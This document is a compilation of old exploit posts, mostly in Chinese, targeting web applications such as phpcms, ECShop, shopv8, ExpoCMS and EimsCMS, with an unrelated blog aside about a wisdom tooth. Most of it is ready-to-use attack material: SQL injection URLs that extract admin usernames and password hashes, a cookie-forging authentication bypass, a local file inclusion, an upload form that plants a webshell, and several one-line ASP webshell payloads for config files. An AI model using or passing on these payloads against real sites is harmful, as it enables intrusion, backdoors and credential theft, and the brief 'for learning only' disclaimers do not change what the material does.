phpcms V9 BLind SQL Injection Vulnerability
=================================================================
phpcms V9 BLind SQL Injection Vulnerability
=================================================================
Software: phpcms V9
Vendor: www.phpcms.cn
Vuln Type: BLind SQL Injection
Download link: http://www.phpcms.cn/2010/1229/326.html
Author: eidelweiss
contact: eidelweiss[at]windowslive[dot]com
Home: www.eidelweiss.info
Google Dork: http://www.exploit-db.com/ghdb/3676/ // check here ^_^
References:
http://eidelweiss-advisories.blogspot.com/2011/01/phpcms-v9-blind-sql-injection.html
=================================================================
exploit & p0c
[!] index.php?m=content&c=rss&catid=[valid catid]
Example p0c
[!] http://host/index.php?m=content&c=rss&catid=10 <= True
[!] http://host/index.php?m=content&c=rss&catid=-10 <= False
[+] http://host/index.php?m=content&c=rss&catid=5 <= show MySQL Error (table)
=================================================================
Nothing Impossible In This World Even Nobody`s Perfect
=================================================================
=========================| -=[ E0F ]=- |=========================
Phpcms 2008 flash_upload.php文件注入漏洞
针对版本:Phpcms 2008 V2
一个小日本今天公布的
注入地址
http://server/phpcms_th/flash_upload.php?modelid=1
http://www.t00ls.net/viewthread.php?tid=13901
一句话插入配置文件system.asp
没有过滤双引号,插入一句就行。
常规插法如下:
"%><%eval request("d")%><%
但金刀客这篇文件(http://www.cqzh.cn/post/328.html)为什么说
"%><%eval request("d")%><%s="
必须要加s=呢?
比如:
web_name="中国纺织网"
插入后:
web_name="中国纺织网"%><%eval request("d")%><%"
跟这样不就全闭合了吗?
还需要<%s="干嘛?直接<%闭合下面的不就行了。
=========
":eval request(9) //这多简单
=================
<%
webname="abc"
webhost="d:\abc\abc\www"
%>
插入"%><%eval request("d")%><%s="后就变成
<%
webname="abc"%><%eval request("d")%><%s=""
webhost="d:\abc\abc\www"
%>
============
test"%><%execute request("value")%><%a="test
长智齿了,智慧来了
长智齿了,疼死我了
活了小半生,还会长牙齿,真他妈的奇怪了
百度了一下智齿的资料:
齿,学名第三大臼齿,俗称智慧齿、立事牙、尽头牙,是口腔最靠近喉咙的牙齿,如果全部生长出来一共4颗,上下颚各两颗,一般是于16岁或之后才生长出来,相较于幼儿时期长出的乳齿与儿童时期更换的恒齿,智齿通常是在人类心智已经趋于成熟时才长出,因而得名。另有同名小说和电影《智齿》。
嘿嘿,,,长智慧了我。。。
具体的参见百度百科
http://baike.baidu.com/view/524.htm
ecshop最新版(v272) 本地包含漏洞ODAY(鸡肋)
注:发布本文只是出于学习的目的,请勿用无非法用途!
很久前就发现了,今天发布出来吧,其实很简单,就是很多人没有注意这里:
直接看代码:
js/calendar.php
- $lang = (!empty($_GET['lang']))
- ? trim($_GET['lang']) : 'zh_cn';//没有过滤,很明显的包含漏洞 by: ℡Mr.LP
- if (!file_exists('../languages/' . $lang . '/calendar.php'))
- {
- $lang = 'zh_cn';
- }
- require(dirname(dirname(__FILE__)) . '/data/config.php');
- header('Content-type: application/x-javascript; charset=' . EC_CHARSET);
- include_once('../languages/' . $lang . '/calendar.php');//这里包含,需要截断 by: ℡Mr.
测试代码 :
// 需要 magic_quotes_gpc = Off
/js/calendar.php?lang=../index.php%00.(注意后面有个.)by: ℡Mr.LP
利用:
注册用户
然后上传GIF89a头的GIF文件欺骗,
然后包含 如:[img]http://www.lpboke.com/js/calendar.php?lang=../data/feedbackimg/6_20101228vyrpbg.gif%00.
刚刚阿神提醒我,首页有问题,我一看,呃,果然,妈的,被挂了黑链了,还好。。。
还好挂我链的是个RP好的黑阔,没动我数据。。。
不像helen那JJ,删了我数据,搞的到现在,blog的图片也恢复不了。。。
感谢没动我数据的黑阔!!!
小站很容易黑的,大牛就放过吧!
区区虚拟机而已!
小菜个人笔记之地而已!
“幸福百相园”相册GETSHELL漏洞
漏洞出现在
index.php
if($do == 'upload'){
if($_POST['formsub']){
$file = $_FILES['upload'];
if(!$file['error']){
if(strpos($file['type'], 'image') === 0){
$hash = $_POST['i'].'.jpg'; //若是IIS,则可此处可自行构造IIS畸形文件扩展名得到一个webshell
if(move_uploaded_file($file['tmp_name'], "./attach/$hash")){
thumb("./attach/$hash");
js_reload();
} else{
js_alert('保存失败!');
}
} else{
js_alert('不支持的格式!');
}
} else{
js_alert('上传出错啦!');
}
}
}
本地构造表单
<form action="http://XXX.com/user/index.php?do=upload" method="post" enctype="multipart/form-data" name="form_post" id="form_post" target="ajax">
<input type="file" name="upload">
<input type="hidden" name="i" value="1.php;"> 这里可以改为1.asp;或者别的类型的文件
<input type="hidden" name="formsub" value="true">
<input name="submit" type="submit" value="上传">
<iframe name="ajax" id="ajax" style="display:none"></iframe>
</form>
提交一个包含"gif89a"文件头的木马(大马),会在/attach目录下生成一个1.php;.jpg的webshell。如果IE显示红X,请换火狐
利用:搜索关键词“专注于收集、发布网友喜欢的图片”。这套相册大部分集成于dedecms的图片类网站,目录为http://www.xxx.com/user
ExpoCMS后台验证漏洞
/admin/CheckLogin.asp
- <%
- Response.Buffer = True
- Response.Expires = -1
- Response.ExpiresAbsolute = Now() - 1
- Response.Expires = 0
- Response.CacheControl = "no-cache"
- Session.CodePage = 65001
- Response.Charset = "UTF-8"
- UserName=Request.Cookies("CNVP_CMS2")("UserName") '在cookie中取username值
- If UserName="" Then
- Response.Redirect("Admin_Login.asp") '如果为空,就跳转
- Response.End()
- End If
- %>
exp: javascript:alert(document.cookie="CNVP%5FCMS2=UserName=admin") 这样就能进后台了 /admin/Admin_Index.asp
后台有个上传的地方可以拿webshell
ECshop 支付方式注射 0day
ECshop 支付方式注射
发布日期:2011.1.5
挖掘作者:fjhgx(俺是农村的)
联系方式:bugtosafe@gmail.com
漏洞文件:lib_payment.php
漏洞函数:get_order_id_by_sn($order_sn, $voucher = 'false')
includes\lib_payment.php(ECSHOP 支付接口函数库)
(53行)
/**
* 通过订单sn取得订单ID
* @param string $order_sn 订单sn
* @param blob $voucher 是否为会员充值
*/
function get_order_id_by_sn($order_sn, $voucher = 'false')
{
if ($voucher == 'true') //要想触发漏洞,需保证函数的第二个参数为真。
{
return $GLOBALS['db']->getOne("SELECT log_id FROM " . $GLOBALS['ecs']->table('pay_log') . " WHERE order_id=" . $order_sn . ' AND order_type=1');
//漏洞位于$order_sn变量,触发原因未经过单引号过滤。from:fjhgx(俺是农村的)
}
else
{
if(is_numeric($order_sn))
{
$sql = 'SELECT order_id FROM ' . $GLOBALS['ecs']->table('order_info'). " WHERE order_sn = '$order_sn'";
$order_id = $GLOBALS['db']->getOne($sql);
}
if (!empty($order_id))
{
$pay_log_id = $GLOBALS['db']->getOne("SELECT log_id FROM " . $GLOBALS['ecs']->table('pay_log') . " WHERE order_id='" . $order_id . "'");
return $pay_log_id;
}
else
{
return "";
}
}
}
respond.php(ECSHOP 支付响应页面)
(56行)
/* 判断是否启用 */ //判断了支付方式,鸡肋了点。from: fjhgx(俺是农村的)
$sql = "SELECT COUNT(*) FROM " . $ecs->table('payment') . " WHERE pay_code = '$pay_code' AND enabled = 1";
if ($db->getOne($sql) == 0)
{
$msg = $_LANG['pay_disabled'];
}
else
{
$plugin_file = 'includes/modules/payment/' . $pay_code . '.php'; //包含支付方式的文件,位于“includes\modules\payment”目录下。
/* 检查插件文件是否存在,如果存在则验证支付是否成功,否则则返回失败信息 */
if (file_exists($plugin_file))
{
/* 根据支付方式代码创建支付类的对象并调用其响应操作方法 */
include_once($plugin_file);
$payment = new $pay_code();
$msg = ($payment->respond()) ? $_LANG['pay_success'] : $_LANG['pay_fail'];
}
else
{
$msg = $_LANG['pay_not_exist'];
}
}
总共有三处可能触发的漏洞;
1.
- tenpay.php(200行)
- if ($attach == 'voucher')
- {
- $log_id = get_order_id_by_sn($sp_billno, "true"); //调用漏洞存在的函数,get_order_id_by_sn。from: fjhgx(俺是农村的)
- }
- else
- {
- $log_id = get_order_id_by_sn($sp_billno);
- }
2.
- cncard.php(207行)
- //验证通过后,将订单sn转换为ID 来操作ec订单表
- if ($c_memo2 == 'voucher')
- {
- $c_order = get_order_id_by_sn($c_order, "true"); //注意 from:俺是农村的 bugtosafe@gmail.com
- }
- else
- {
- $c_order = get_order_id_by_sn($c_order);
- }
3.
- chinabank.php(156行)
- //验证通过后,将订单sn转换为ID 来操作ec订单表
- $v_oid = get_order_id_by_sn($v_oid, "true"); //注意 from:俺是农村的 bugtosafe@gmail.com
- }
- else
- {
- $v_oid = get_order_id_by_sn($v_oid);
- }
- if ($v_pstatus == '20')
- {
- /* 改变订单状态 */
- order_paid($v_oid);
- return true;
- }
漏洞验证:
respond.php?code=tenpay&attach=voucher&sp_billno=fjhgx
respond.php?code=cncard
respond.php?code=chinabank
EXP:
respond.php?code=tenpay&attach=voucher&sp_billno=1 and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,count(*),0x27,0x7e) FROM `ecs`.ecs_admin_user)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1
纯属喜爱PHP,学习审核PHP源代码,未有任何意思。
此分析文章,只给学习PHP的人研究,不得用于非法用途。
一切有害、有益的结果于作者&狼族组织无任何关系。
=============
暴用户名:
http://site/respond.php?code=tenpay&attach=voucher&sp_billno=1%20and(select%201%20from(select%20count(*),concat((select%20(select%20(SELECT%20user_name%20FROM%20ecs_admin_user%20limit%200,1))%20from%20information_schema.tables%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%20and%201=1
暴密码:
http://site/respond.php?code=tenpay&attach=voucher&sp_billno=1%20and(select%201%20from(select%20count(*),concat((select%20(select%20(SELECT%20user_name%20FROM%20ecs_admin_user%20limit%200,1))%20from%20information_schema.tables%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%20and%201=1
如果表前缀被改如下所示:
MySQL server error report:Array ( [0] => Array ( [message] => MySQL Query Error ) [1] => Array ( [sql] => SELECT log_id FROM `aimeili`.`aml_pay_log` WHERE order_id=1 and(select 1 from(select count(*),concat((select (select (SELECT password FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 AND order_type=1 ) [2] => Array ( [error] => Table 'aimeili.ecs_admin_user' doesn't exist ) [3] => Array ( [errno] => 1146 ) )
只要修改ecs_admin_user为aml_admin_user即可
浅说双引号被过滤时一句话的插入
来源 http://www.daokers.com/article/original/609.htm
昨日小刀刀在群里抛了一个问题,说后台插入一句话老是出错,群里的朋友出了很多主意,但是最后还是没搞定。后来这小子把问题抛给了我,昨天我就测试了一下。这里把情况介绍给大家。
一般而言,后台插一句话,如果数据库扩展名是asp的话,那么插数据库,但是如果有配置文件可以插的话,那肯定是插入配置文件了,但是插入配置文件有一个很大的风险,那就是一旦出错那么全盘皆输,有可能不仅仅造成后台无法登陆,甚至有可能是整个网站系统崩溃,所以插入配置文件,请慎之又慎。
话归正题,如果想插入配置文件,一般是config.asp,那么首先需要了解这个文件的一般情况。
网站的配置一般是保存网站名,地址,email之类的,既然是字符,那么格式应当是
webname=“test website”
对于这样的配置插入一句话的话,我们的机会就是替换test website,那么需要闭合2个",同时要插入一句话,语句可以这样
"%><%eval request("d"%><%s="
那么在config.asp中就是
webname=“ "%><%eval request("d"%><%s=" ”
第一个"是闭合前面的配置文件中的",%>就是闭合前一段脚本,之后插入一句话<%eval request("d"%>,现在要闭合原来的"和%>
所以加入<%s=",这里特别要注意“s=”,如果没有这个等号的话,那么就会成<%" ",这样必将出错。
好了,这是常规的办法,现在我们回到开始那个问题,按照前面的方法插入
插入后,我们再点击“网站设置” ,出现错误
从这个错误,我们可以得到2个信息。
第一,配置文件的路径:http://www.target.com/zfbm/zfb/inc/config.asp
第二,网站名的变量为webname。
昨天由于很晚了,就没继续看,今天出差,晚上回来刚刚上Q,小刀刀就q我,说拿下了,并说这个后台过滤了双引号",结合昨天的错误一看果然是,由于我们闭合前面双引号起"的那个双引号收"被过滤成单引号',所以就成了webname=" ',这样的话那么这个双引号没有闭合,由于双引号是vbscript的控制符,没有闭合config.asp运行必然出错。那么我们遇到这种双引号被过滤了的情况改怎么办呢。
由于插入一句话必须要用双引号括起来,而输入双引号又被过滤,所以我们可以利用他们自身的双引号来解决。
在配置文件中,我们还可以看到这样一些设置
就是配置网站的公告数 ,文章数等。可以假设一下,他必然是整数赋值,没有双引号包括
num=5
num是整数型,不然就成字符了num="5"
那么我们的一句话就可以这样构建,如图
在公告数中我们插入5%><%eval request(webname)%><%
必须要有5,不然将会出错,在网站名中我们插入"open"
由于我们没有输入双引号,不存在过滤,我们利用 配置文件本身的双引号来达到目的。那么配置文件现在的内容如下
<%
....................
webname="open"
num=5%><%eval request(webname)%><%
webnum=7
.......
%>
我们的一句话就相应为
eval request("open"),open为密码。
用菜刀成功连接
从上可见,我们成功利用配置文件本身避开了一句话中双引号被过滤的问题。
那么在网页设计方面,我们可以增加过滤<,%,>或者组合<%,%>这些特殊符号,禁止这些符号的输入,那么将大大增加网页安全。
by daokers 2010.4.28深夜于Canton
邯郸学步,shopv8的注入漏洞
邯郸学步,shopv8的注入漏洞
文章:流浪的风 blog:http://www.st999.cn/blog
邯郸学步,按图索骥,大家不要笑了。。。
感谢闷豆,k4shifz,寒心冰剑……几位黑阔的帮忙。。。。
程序 :shopv8商城系统10.84
下载:http://www.codepub.com/software/view-software-7161.html
漏洞文件:list.asp
部分源码:
<%if IsNumeric(request.QueryString("id"))=False then
response.write("<script>alert(""非法访问!"");location.href=""index.asp"";</script>")
response.end
end if
dim id
id=request.QueryString("id")
if not isinteger(id) then
response.write"<script>alert(""非法访问!"");location.href=""index.asp"";</script>"
end if%>
<%dim bookid,action
bookid=request.QueryString("id")
action=request.QueryString("action")
if action="save" then
set rs=server.CreateObject("adodb.recordset")
rs.open "select * from shop_pinglun",conn,1,3
rs.addnew
rs("bookid")=bookid
rs("pingji")=request("pingji")
rs("pinglunname")=HTMLEncode2(trim(request("pinglunname")))
rs("pingluntitle")=HTMLEncode2(trim(request("pingluntitle")))
rs("pingluncontent")=HTMLEncode2(trim(request("pingluncontent")))
rs("ip")=Request.servervariables("REMOTE_ADDR")
rs("pinglundate")=now()
rs("shenhe")=0
rs.update
rs.close
set rs=nothing
set rs=server.CreateObject("adodb.recordset")
rs.open "select * from shop_books where bookid="&bookid,conn,1,3
rs("pingji")=rs("pingji")+1
rs("pingjizong")=rs("pingjizong")+request("pingji")
rs.update
rs.close
set rs=nothing
response.Write "<script language=javascript>alert('您的评论已成功提交!');history.go(-1);</script>"
response.End
end if
%>
<!--#include file="webtop.asp"-->
<TABLE cellSpacing=0 cellPadding=0 width=772 align=center border=0>
<TBODY>
<TR>
<td width="1" background="image/images/bgbg.gif"></td>
<TD class=b vAlign=top align=left width=770><table width="770" align="center" border="0" cellspacing="0" cellpadding="0" class="table-zuoyou" bordercolor="#CCCCCC">
<tr>
<td width="178" valign="top" bordercolor="#FFFFFF" bgcolor="#FFFFFF"><!--#include file="history.asp"-->
<!--#include file="gouwucheinfo.asp"-->
<!--#include file="xiaoshourank.asp"-->
</td>
<td valign="top" class="table-zuo" align="center" bgcolor="#FFFFFF" bordercolor="#FFFFFF"><%set rs=server.createobject("adodb.recordset")
rs.open "select * from shop_books where bookid="&request("id"),conn,1,3
if rs.recordcount=0 then
%>
其中,if not isinteger(id) then
response.write"<script>alert(""非法访问!"");location.href=""index.asp"";</script>"
没有以response.end结束,那么request("id") ,我们也可以使用cookies给id赋值,那么注入就产生了。
只要把IE的安全设置设到最高,就可以阻止网页跳转到index.asp页面了。
(不知道这里的这样分析对不对,请大家指点)
利用方法:
先把安全设置设为最高,
注入点 http://127.0.0.1:99/list.asp?id=322
直接用注入中转器生成个页面,暴用户名和密码,如图
http://127.0.0.1:99/jmCook.asp?jmdcw=322%20and%201=2%20union%20select%
201,2,3,4,5,6,7,8,9,10,11,12,13,username,password,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,
34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53%20from%20admin
EimsCMS V3.7 一个很鸡肋的漏洞
by 不走的钟
EimsCMS V3.7 0day 默认后台:admin/login.asp 默认数据库:data/eimscms.mdb 漏洞文件: admin/checklogin.asp |
<!--#include file="../Include/1.asp" --> <!--#include file="../Include/Conn.asp"--> <!--#include file="../Include/Md5.asp"--> <% Response.Write "<html>" Response.Write "<head>" Response.Write "<meta http-equiv='Content-Type' content='text/html; charset=gb2312' />" Response.Write "<title>验证登陆</title>" Response.Write "</head>" Response.Write "<BODY>" '-------------------------------------------- Dim LoginName,LoginPassword,AdminName,Password,Permissions,UserName,Rs,Sql,UserID,SortID LoginName = Trim(Trim(Request.Form("LoginName"))) LoginPassword = Md5(Request.Form("LoginPassword")) If Session("CheckCode")<>Trim(Request.Form("CheckCode")) Then ClMsg("验证码错误!") Set Rs = Server.Createobject("Adodb.Recordset") Sql="Select * From [eims_User] Where Item1='"&LoginName&"'" //loginname显然没有过滤 Rs.Open Sql,Conn,1,1 If Rs.Eof Then ClMsg("此用户不存在!") Else UserID = Int(Trim(Rs("ItemID"))) SortID = Int(Trim(Rs("SortID"))) AdminName = Trim(Rs("Item1")) Password = Trim(Rs("Item2")) Permissions = Trim(Rs("Item9")) ItemRec = Trim(Rs("ItemRec")) End If If SortID <> 1 Then ClMsg("你不是管理员!") If Not ItemRec Then ClMsg("此用户已被冻结!") If LoginPassword<>Password Then ClMsg("密码错误!") If LoginName = AdminName And LoginPassword = Password Then //这句对loginname有比较,比较鸡肋……
利用:
http://127.0.0.1/admin/Login.asp
用户名注入构造语句如下:
a' or '1'='1 //提示“你不是管理员”说明sql成立因为'1'='1'成立
a' or (select top 1 len(Item1) from eims_User where ItemID=1)>=1 and '1'='1
//ItemID=1这个表示管理员 Item1表示管理员名
判断Item1的长度:
a' or (select top 1 len(Item1) from eims_User where ItemID=1)>=1 and '1'='1
用户名的值:
a' or (select top 1 asc(mid(Item1,6,1)) from eims_User where ItemID=1)=111 and '1'='1
密码的长度(默认为16位的md5):
a' or (select top 1 len(Item2) from eims_User where ItemID=1)=16 and '1'='1
//Item2为密码是16位的md5
16位密码的值:
a' or (select top 1 asc(mid(Item2,6,1)) from eims_User where ItemID=1)>=53 and '1'='1
后台拿shell :
登陆后台-网站设置-网站简介 插入内容如下:
www.007hack.com"+execute(request("007hack"))+"www.007hack.com
一句话木马地址:
http://127.0.0.1/Include/Config.asp
鸡肋二个地方,一是为access数据库,二是有验证码,但只有耐心手工一样可以破解出md5,无任何技术,记录下,下次再遇到就不用找表了……